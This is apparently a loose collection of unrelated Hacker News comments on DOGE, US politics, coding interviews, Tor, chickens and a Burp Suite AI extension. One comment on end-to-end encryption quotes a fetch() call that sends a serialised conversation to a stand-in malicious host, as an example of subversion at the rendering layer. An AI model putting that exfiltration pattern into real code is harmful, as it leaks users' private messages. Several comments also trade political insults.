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Show HN: Bounty Prompt – AI-Powered Open Source Burp Suite Extension
Bounty Prompt is a Open Source Burp Suite extension developed by Bounty Security that leverages advanced AI technology integrated via Burp AI. It enables users to generate intelligent security testing prompts by analyzing selected HTTP requests and responses from various sources within Burp Suite. The extension supports a wide range of HTTP tags, allowing you to automatically include specific parts of HTTP traffic (such as headers, parameters, bodies, and cookies) in your prompts, streamlining both automated and manual penetration testing workflows.
What in the world is going on with this country? How did we let ourselves be ruled by people who think such nonsense?
great book. I recommend people read it every 10 years or so as your perspective on life changes.
So, you would like another independent non-government entity with full access so they can evaluate DOGE? Like a DO(DOGE)E?
my have a ç and during first 10-15 years all system broken and my "vat" first letter is 0 same problem, if the dba genius use integer random bugs happen :(
If Tim Cook had that same perceived power, I imagine the narrative would be playing out differently.
Every large organization needs reviews/audits to find waste. I think the problem with the 'right' is the idea that because there is waste, then government is evil and we should abolish it.

But, every organization accumulates waste, and then needs to have a review process to make corrections. The whole burn it all down is pretty immature take on leadership.

Every corporation has waste, and bloated salaries, entitlements (the bosses son doesn't do much but has fat salary). Should DOGE go in and cut them also?
>> I honestly have not a single idea why there wasn't this type of department before monitoring and auditing everything.

You mean like the Government Accountability Office? [1] Or the dozens of Inspector Generals at most agencies? [2]

[1] https://www.gao.gov/

[2] https://www.oversight.gov/where-report-fraud-waste-abuse-or-...

The US federal government has lots of laws, agencies, and procedures to address, investigate, and remediate fraud, waste, and abuse.
This behavior started happening for me in the last few months. If I click on a result, then go back, I have different search results.

I've found a workaround, though – click back into the DDG search box at the top of the page and hit enter. This then returns the original search results.
Which AI video generator do you use?
These days, the AI market is flooded with AI video generators. I’d like to know which ones people are using and why. What particular feature do you like? I personally use Vadoo AI as i can experience various video generators like Kling, Runway, Haiper in a single platform.
I'm very grateful that this was assigned reading in high school, since it was a sort of gateway book for reading more about Buddhism. It's short. If you haven't read it, I highly recommend it.
Everyone at Amazon (The only company I have seen using it) hated using Chime, and it wasn't at all on the level of competitors. So I think it was just an unsuccessful product.
Is that something they did, or is it something you imagine they did because you’re too credulous of right-wing propaganda?
You ever tried browsing the web on a data center IP? It doesn’t work very well.
If there's a smell then the coop isn't being cleaned enough... simple as that. Ours coop is cleaned every day or two and there's zero smell.

It's like a cat's litter box. If it smells, then clean it more often.
Plus our new HHS secretary is an anti-vaxxer! I'm sure nothing will go wrong.
Which works, until you have mass immigration from MENA-countries that results in a huge rise in criminality which makes everyone afraid because any criminal can look you up from the license plate or simply by searching for your name and instantly know where you are.

I hate this system. It used to be a good system when most people was law abiding and there was no gang criminals. But today? Jeez, you are like a fish just hoping not to get struck by the sharks and there is no protection available due to the failing state.
In the fanout design, why not dynamically move on to the next 10,000-user page as soon as all tasks for the current page are either queued or processing? Would that approach improve throughput, or could it introduce issues like resource contention?
Missing branching, however 2D model supports non-axisymetric aneurysm really well and you can give a parametrised curve to the visualisation in last release, give it a try. I will add examples for aneurysm and stenosis soon enough
One of the greatest authors of all time. Hesse taps into the mind of the modern human and beautifully presents its inner workings. Each of his books takes a different angle, a different perspective or philosophy with which to observe the evolving personhood.
Even trying to determine who the workers were brought down threats of criminal prosecution and investigations.
Ovsiankina Effect
They didn't say they think they are spending too much.
> Side question, let's say Grok is comparable in intelligence to other leading models. Will any serious business switch their default AI capabilities to Grok?

Yes, I'd say so. Bear in mind that, outside of the Terminally Online, very few people would deliberately hobble their business by deliberately choosing an inferior product.
>Maybe I'm missing empathy,

Worse actually. There is more to life than code - unless you are a savant. Most of us aren't.

But it is the way you are, you probably know no better and you are doing your best, what you can do is to refuse to interview.
It doesn't seem to have much of a connection to the well-known UWCSE.
It seems irresponsible to put "8-bit" in the title of the blogpost and never mention anywhere that the TI-99/4A was a 16-bit machine.
Why would the next guy abide if the current guy won’t?
Is your suggestion that key rotation is a necessary requirement?

I feel we're coming full circle towards the original discussion about pqc.

(Also, I feel cryptography is very much a tech that can assist you in keeping secrets at rest.)
Also got into the news at TechCrunch: https://techcrunch.com/2025/02/18/hackers-planted-a-steam-ga...

- PirateFi was designed to distribute Vidar [info-stealer] payload

- PirateFi was built with minimal effort from a template-based game-making app Easy Survival RPG to get a playable game which got positive reviews on Steam.

- SECUINFRA researcher Genheimer believes that the web3/blockchain/cryptocurrency references in the PirateFi name were intentional, to lure a specific player base. See articles for what specifics Vidar steals. Quite a lot, apparently.
That's going to be the case for using Obscura as well?
> Such that the new status quo will be no enforcement at all.

Or conditional enforcement, say for those who don't buy enough Trump meme coin.
Just to be clear, you are a Bluesky engineer, right?

off-topic: how has been dealing with the influx of new users after X political/legals problems aftermath? Did you see an increase in toxicity around the network? And how has you (Bluesky moderation) dealing with it.
I get the same feeing when I first looked at the LangChain documentation when I wanted to first start tinkering with LLM apps.

I built my own TypeScript AI platform https://typedai.dev with an extensive feature list where I've kept iterating on what I find the most ergonomic way to develop, using standard constructs as much as possible. I've coded enough Java streams, RxJS chains, and JavaScript callbacks and Promise chains to know what kind of code I like to read and debug.

I was having a peek at xstate but after I came across https://docs.dbos.dev/ here recently I'm pretty sure that's that path I'll go down for durable execution to keep building everything with a simple programming model.
I mostly liked Musk until he decided that a vindictive, incompetent moron was the best person to run the country, and poured vast resources into ensuring that happened.

You might say this just shows it’s because I hate Trump. To which I’d ask, do you really think my description of the guy is inaccurate?
Slack huddles use chime under the hood.
Mandatory https://xkcd.com/327/
Yes. Exactly. It's checks and balances.

The 'right' are all about being open. If something is being cut, or fired, then publish those finding openly. Make the data public, for open review.

Funny how all of a sudden "we need to keep what we are doing secrete" is a fine argument.

Otherwise you are just putting in place a new 'Deep State'. Guess that is fine and dandy now.
> The top-line summaries are definitely consistent with “waste.”

Can you give a reference for an analysis of some cancelled contract or program that illustrates your point that it was wasteful spending? I'm looking for something that explains what the contract or program did beyond the 10-word title of the appropriations document saying something like "DEIA Training". (I work for a big private corporation and we also have such training, and I don't think from the corporate perspective its waste; I strongly suspect they attempt to balance the spend on that training to the cost reduction on lawsuit payouts. And especially from the government perspective, harm reduction should also be accounted separately from pure cost considerations.)
Most people don't want a strong man in charge with absolute power. Dictators rule by fear and naked force, far more so than even the "monopoly on violence" claimed by modern states. A king is just another word for dictator, it's all the same. Although I would say Americans aren't really drawn to the model of a king so much as a "CEO in chief," but CEOs are essentially kings within their domain.

The people who do support it believe that they themselves will be granted noble status within the new regime, rather than being serfs.
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No, the DOGE website scrapes from the FPDS DB. The DB wasn't updated immediately. Like I quoted in an adjacent comment "PDS posting of the final termination notices can have up to a 1-month lag."

Your bias is blinding you to what is the obvious explanation that I'm sure you'd recognize if you saw it on a non-political website.

I just want to point out one more thing:
DOGE didn't advertise this 8M savings anywhere, there wasn't a speech about it etc. This was found on https://doge.gov/savings
Why not just make the comic panel itself a link? Click to cycle through the different messages…? I’m asking. Do you feel this changes the aesthetic significantly?
> So how is this any different from all the random employees who might have access to this data as part of their jobs?

Are you asking why it's any different a non-American billionaire who has multipole government contracts having access to your data any different than Joe Bob who was hired and vetted by those same people unlike the other guy?
Federal level government is not a startup

Breaking things will destroy lives if not literally kill people

If it was this "easy" someone would have made a proposal years ago even if it was turned down

And Congress, not ANY President controls spending

We do not elect Kings in this country, there was an entire very brutal war to make it that way

This data is going to leak if it's not copied already into insecure sources and every foreign adversary is going to have it

Cannot be undone

And there should be investigations and prosecutions for this to prevent it ever happening again by ANY President
Does leaving things unfinished make you stupid? (2011)
Ah, so more bureaucracy, bureaucracy, bureaucracy.
The electoral college was intended to serve this purpose.
Not a marketing specialist, but thanks for giving me a backup career path idea
Good idea. Most people would probably be happier on a more stock Android with the Google Play Store.
How stupid of Google. Instead of getting their self driving car technology to work in a blizzard first, and then working on getting it working in a city, they choose to get it working in a city first, before getting it to work in inclement weather.
What idiots!
That shouldn’t be necessary. Just literally any independent source corroborating the claims. I would also be immensely interested in that.
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I can’t speak for others, but for me it’s all about his actions.

First it was destroying Twitter, which was something I rather enjoyed using.

Then, far worse, it was pouring vast resources into getting a terrible person elected.
This comment is wrong and not funny.

1) you didn't read path selection constraints: https://spec.torproject.org/path-spec/path-selection-constra...

>We do not choose more than one router in a given network range, which defaults to /16 for IPv4 and /32 for IPv6. (C Tor overrides this with EnforceDistinctSubnets; Arti overrides this with ipv[46]_subnet_family_prefix.)

2) There is currently no exit-node hosted at Hetzner. Check the Tor atlas
There needs to be some recourse here. Amazon isn't going bankrupt and closing business. They need to honor their customer commitments.

After all, earn trust and customer obsession are two of their leadership principles
Trade-Offs All the Way Down
Yes for now i only added 2 models for 1D and 1 for 2D i plan to add some more :
1. Noslip + polynomial profile driven models
2. Other complex profile and pressure laws
3. Visco elastic case
4. Radius layered models
5. Obviously but the hardest full 3D FSI with wall model and/or immersed body methods (will need help on that one)
They uploaded the photos to a secure Apple iCloud account
I don't have any scented products in my house. Ventilation is key, especially in common areas like the living room. You should open the window occasionally even in the dead of winter to help circulate the air.

Some other things I do are regular vacuuming and dusting; you might be surprised how effective this can be in freshening the air naturally. Dust can trap odors and make a room smell stale if not removed often.

It also helps to clean soft surfaces frequently, because fabric traps odors.

Abundant houseplants help naturally purify the air. Activated charcoal in discreet places absorbs odors without adding any scent.

Unscented products like vinegar or baking soda work well for carpet and upholstery (the vinegar smell dissipates quickly).
I agree.

I'm all for Graham's pyramid of disagreement: we should focus on the core argument, rather than superfluous things like tone, or character, or capitalisation.

But this is too much for me personally. I just realised I consider the complete lack of capitalisation on a piece of public intellectual work to be obnoxious. Sorry, it's impractical, distracting and generates unnecessary cognitive load for everyone else.

You're the top comment right now, and it's not about the content of the article at all, which is a real shame. All the wasted thought cycles across so many people :(
> We CANT test you effectively on your programming skillbase. So we test on a more relevant job skill, like can you have a real conversation (with a whiteboard to help) about how to solve the problem.

Except, that's not what happens. In basically every coding interview in my life, it's been a gauntlet: code this leetcode medium/hard problem while singing and tapdancing backwards. Screw up in any way -- or worse (and also commonly) miss the obscure trick that brings the solution to the next level of algorithmic complexity -- and your interview day is over. And it's only gotten worse over time, in that nowadays, interviewers start with the leetcode medium as the "warmup exercise". That's nuts.

It's not a one off. The people doing these interviews either don't know what they're supposed to be looking for, or they're at a big tech company and their mandate is to be a severe winnowing function.

> It isn't that your interviewer knew all the languages, but that the language didn't matter.

I've done enough programming interviews to know that using even a marginally exotic language (like, say, Ruby) will drastically reduce your success rate. You either use a language that your interviewer knows well, or you're adding a level of friction that will hurt you. Interviewers love to say that language doesn't matter, but in practice, if they can't know that you're not making up the syntax, then it dials up the skepticism level.
Well, it is a government agency tasked with audits. Why shouldn't it have root access?
Oh friend.... you have so much to learn
Bureaucracy is always risk averse. Without outside intervention, they will always try to operate as before.
Users might care about why the thing they're using has been falling apart, or why development has slowed, or why news updates have grown scarce, or why the majority of the original development team resigned.
Thanks for the detail. I never thought about vet needs for chickens. How would you know they are sick? I know with my cat, her mood and activity would shift. Is it apparent when a chicken is sick?
> I also feel weird that the bulk of the discussion is on hypothetical validity of a security protocol usually focused on the maths, when all of that can be subverted with a fetch("https://malvevolentactor.com", {body: JSON.stringify(convo)}) at the rendering layer. Anyone have any thoughts on this?

I think your comment in general, and this part in particular, forgets what was the state of telecommunications 10-15 years ago. Nothing was encrypted. Doing anything on a public wifi was playing russian roulette, and signal intelligence agencies were having the time of their lives.

The issues you are highlighting _are_ present, of course; they were just of a lower priority than network encryption.
Helion: Doom engine rewritten from scratch in C#
CAT should audit DOGE.
> This mindset stems from eroding trust, economic struggles, and feelings of disrespect. Trump isn't the cause; he's its manifestation.

Yep. If you read history - this is how things generally play out, when the prospects look too grim, for too long, for too much of the population.

But labeling it a "virus", denouncing the counterfactuals, and hand-wringing about the horrible consequences are all dysfunctional wastes of time, while bad problems keep getting worse - because all of those encourage further "us vs. them" social divisions, while none of those do squat to address the actual causes of the problem.
I don’t know much about many of those countries, and I have no reason to spend hours googling them.

but I know my home country Sweden, which used to have solid freedoms, have deteriorated quickly in the last few years.

Which is why I have moved to Switzerland, where the citizenry respect each other privacy(no country is perfect, but I do believe their decentralised direct democracy
will keep protecting their liberties).

A recent law has enabled the Swedish police to open mail to private individuals if they suspect there might be drugs in them. This is just one change of many that has reduced the liberties of the citizens.

Don’t get me wrong, the Swedes want it this way. They are no longer a freedom loving people, sadly.

https://www.sverigesradio.se/artikel/police-to-contact-thous...
Tsja, zekerheid is a cognate for security. "Zeker" from Latin "Sēcūrus".
> If _anyone_ in the executive branch has access to information, it feels like the presidents office should too.

Are you an idiot? Can you point to the last time some foreigner was given access to American's personal data without any oversight?
Elon Musk personifies the CEO who doesn't develop things (he infamously did not found Tesla, but purchased the right to say he did). Musk has used his power to push his personal and political ideologies on the world. I've never seen any other human receive more attention than the president of the United States during the president's first interview. Musk owns, runs and censors the "de facto public town square" as he sees fit.

You can criticize Mozilla's "women" for being political, but Elon Musk is the most politically active and powerful CEO in the world, possibly of all time.
Given people grew animals for eating for centuries and generally were more cruel to them then we are , I doubt.
Not always. Both the Digital Service and 18F appear to be (to have been...) good faith efforts to apply state of the art system engineering to the federal bureaucracy, and quite successfully.

This is just one administration co-opted by one anti social elite to do the opposite. Don't extrapolate it out. Place blame where blame is deserved.
Just incompetent, then.
give it a filesystem, like you can with Claude computer use, and you can have it make and forget memories to adapt for a limited context window size
Natural order. We structure all of nature into kingdoms. They flower out from a core archetype. And it also helps project an inheritable identity.

The problem above any American political and philosophical questions (moral questions notwithstanding), is mistaking Trump for anything resembling a worthy king. It will bring trouble.

In the ancient world the king was a symbol of the prosperity of the people and scapegoat for the sins and troubles of the people and was ritually killed and replaced when things weren’t working out. History whispers that one should be careful what one wishes for.
Right. Even random would be more principled.
You mean source term or source articles ? For source terms there actually is and you can add your own, for articles I used the ones from my PhD for now but once I add models for other people I will add their articles with it obviously
Your hypothetical children may tell stories for decades about how they were the ones who had to scoop the poop into the outdoor composting area and that the strong smell of urea lives with them to this day.

uh, speaking hypothetically and not at all of our own family chicken adventure when I was a kid/teen.

Also, if you have to kill a chicken, study how to do it and practice beforehand. Botching it will also live with you - I learned this one the hard way.

All that said, I'm glad I had the experience of (helping) raise chickens. It was an adventure, and the eggs were great. I've pondered it on and off again as an adult but have thus far resisted the temptation.
Thank you all for showing interest in this project. You described exactly what motivated me to create this language – support for OpenAPI specs. I just wanted to have a language where I could import an OpenAPI spec and leverage the intelligence, because, like you, in all my projects the specs were autogenerated.
Headcount is effectively cut if the rate of hiring is smaller than the growth of the country, which it is.
I concur, but White House staff that are not confirmed by Congress have limits placed on their power when dealing with some agencies (as legislated by Congress) and there are of course many other laws and regulations pertaining to information security (FISMA), security clearances, data privacy, employee protections, and so on that I would expect such a White House functionary to respect.
You do realize that Windows already has a file explorer.

How stupid is it to have to argue with someone that "No, your ancient IDE's file explorer is not the same as Windows file exploerer and no one is going to download EMACS so that they can browse windows files easier"
Neato. You might hear from me in the near future. I'm working on a self-hosted CRM/Email Marketing/Drip type of app with Phoenix LiveView - I'm assuming you handle Elixir as first class citizen based on your blog post. I also have some hybrid astrojs apps I'm considering productizing.
> Licensing. We do the Leetcode interview in a controlled testing center.

Congratulations, you are now a "Certified Leetcoder (tm)". :-(

Seriously: what a lot of people write down here is that a lot of programming jobs don't involve code puzzle skills, but are often rather about putting stuff/APIs together in the currently fashionable framework.

This makes becoming a Certified Leetcoder (tm) just another useless hoop to jump through.

(Just to be clear: for those few programming jobs that demand the employee to solve algorithmic puzzles regularly, doing them in a job interview makes sense. But these jobs are rare.)
Yup just needed some cleaning